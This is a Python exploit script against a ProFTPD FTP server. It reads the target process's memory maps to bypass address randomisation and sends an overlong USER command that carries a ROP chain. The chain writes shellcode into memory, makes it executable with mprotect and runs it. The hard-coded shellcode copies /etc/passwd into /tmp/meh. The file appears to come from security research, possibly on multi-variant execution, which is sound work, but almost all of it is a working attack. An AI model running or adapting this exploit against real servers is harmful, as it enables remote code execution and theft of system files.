#!/usr/bin/env python
import os
import socket
import struct
import sys
import time

from roputils import *

host = 'localhost'
port = 21
TELNET_IAC = chr(255)

def get_pid_maps(pid, cmd):
  maps = {}
  while cmd not in maps:
    for line in open("/proc/%i/maps" % pid):
      s = line.split(" ")
      range = s[0].split("-")
      name = s[-1].rstrip("\n")
      if name in maps:
        maps[name] += [(range[0], s[1])]
      else:
        maps[name] = [(range[0], s[1])]
    time.sleep(0.5)
  return maps

def getpids():
  return [pid for pid in os.listdir('/proc') if pid.isdigit()]

def wait_for_process(name, sleep=100):
  while True:
    for pid in getpids(): # psutil.pids(): p = psutil.Process(pid) p.name() == name:
      try:
        if open("/proc/%s/comm" % pid).readlines()[0].startswith(name):
          return int(pid)
      except e:
        pass
    time.sleep(1000/sleep)

def get_load_for(lib, perms, maps):
  for load in maps[lib]:
    if load[1] == perms:
      return int(load[0], base=16)


# TODO surely there has to be a better way
def get_header(socket):
  c = chr(0)
  s = ""
  while c != '\n':
    c = sock.recv(1)[0]
    s += c
  return s

def write_at(libc_rop, proftpd_rop, value, addr):
  # Write the value at addr, using the following gadgets:
  # write_rdi_at_rax: mov %rdi, (%rax) = 48 89 38  c3
  # and can be found in proftpd_base, which needs to be combined with a pop rdi gadget (in proftpd),
  # and a pop rax gadget (sadly not in proftpd, but in libc)
  buf  = proftpd_rop.p(proftpd_rop.gadget("pop", "rdi"))
  
  #print "%x" % proftpd_rop.gadget("pop", "rdi")

  buf += value
  #print value.encode('hex')
  buf += proftpd_rop.p(libc_rop.gadget("pop", "rax"))
  #print "%x" % libc_rop.gadget("pop", "rax")
  #print "%x" % addr

  buf += proftpd_rop.p(addr)
  buf += proftpd_rop.p(proftpd_rop.gadget("\x48\x89\x38\xc3"))
    
  return buf

def pad_to(pad_to, buf):
  if len(buf) % pad_to == 0:
    return buf
  return buf + (pad_to - len(buf) % pad_to) * '\x90'

def exploit(socket, libc, libc_base, proftpd, proftpd_base, proftpd_rw):
  libc_rop   = ROP(libc)
  libc_rop.set_base(libc_base)
  proftpd_rop = ROP(proftpd)
  proftpd_rop.set_base(proftpd_base)

  buf = "USER "
  buf += "A" * 4096
  buf += TELNET_IAC # * (4*4096)
  # buf += Pattern.create(4*1024)

  # When I add a buffer of size 4*1024, the ROP starts at an offset of 66. This sounds a bit fragile, but it's a start :) 
  req_len = 4*1024
  start_size = len(buf)

  buf += 66 * '\x90' # Start at this offset
  
  # *res = cmd; on main.c:652 overwrites a bit of the stack, not nice of it. So... first put some garbage on the stack and then skip it
  buf += libc_rop.p(libc_rop.gadget("pop", n=4))
  buf += (4*8)*'\x90' # 4 garbage words that get skipped :)
  
  # gcc -c -o cat_to_file cat_to_file.s && objcopy -O binary cat_to_file cat_to_file_raw && objdump -d cat_to_file
  # od -A n -t x1z -v cat_to_file_raw  | sed -e 's/ >.*//' | sed -e 's/ \([0-9a-f]\)/\\x\1/g' | tr -d '\n, '

  shellcode = "\x48\xc7\xc0\x02\x00\x00\x00\x48\xc7\xc6\x41\x00\x00\x00\x48\xc7\xc2\xff\x01\x00\x00\x48\x8d\x3d\x02\x00\x00\x00\xeb\x09\x2f\x74\x6d\x70\x2f\x6d\x65\x68\x00\x0f\x05\x48\x89\xc7\x48\xc7\xc6\x01\x00\x00\x00\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x1d\x02\x00\x00\x00\xeb\x0c\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00\x6a\x00\x53\x48\x8d\x3d\x02\x00\x00\x00\xeb\x09\x2f\x62\x69\x6e\x2f\x63\x61\x74\x00\x57\x48\x89\xe6\x48\x89\xe6\x48\x31\xd2\x0f\x05\xeb\xfe"
  shellcode = pad_to(8, shellcode)

  for i in range(len(shellcode) // 8):
    buf += write_at(libc_rop, proftpd_rop, shellcode[(i*8) : ((i+1)*8)], proftpd_rw + i * 8)

  # mmap(addr, len, PROT_READ | PROT_EXEC = 5)
  buf += libc_rop.call(libc_rop.addr("mprotect"), proftpd_rw, 4096, 5)

  # return to shellcode
  buf += libc_rop.p(proftpd_rw)

  # TODO: verify shellcode does not contain \r \n and so on until this point
  
  # fill the buffer to 4*1024
  buf += Pattern.create(req_len-(len(buf)-start_size))

  buf += "\r\n"
  sock.sendall(buf)

  sock.close()



if __name__ == "__main__":
  if len(sys.argv) != 3:
    print >>sys.stderr, "Usage: python exploit.py <path-to-libc.so> <path-to-proftpd>"
    sys.exit(0)

  libc    = sys.argv[1]
  proftpd = sys.argv[2]

#  pid = wait_for_process("MVEE_LD_Loader_")
  pid = wait_for_process("proftpd")
  m = get_pid_maps(pid, proftpd)

  proftpd_base = get_load_for(proftpd, "r-xp", m)
  proftpd_rw = get_load_for(proftpd, "rw-p", m)
  libc_base = get_load_for(libc, "r-xp", m)


  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((host, port))

  h = get_header(socket)
  print "Connected to %s" % h

  exploit(socket, libc, libc_base, proftpd, proftpd_base, proftpd_rw)
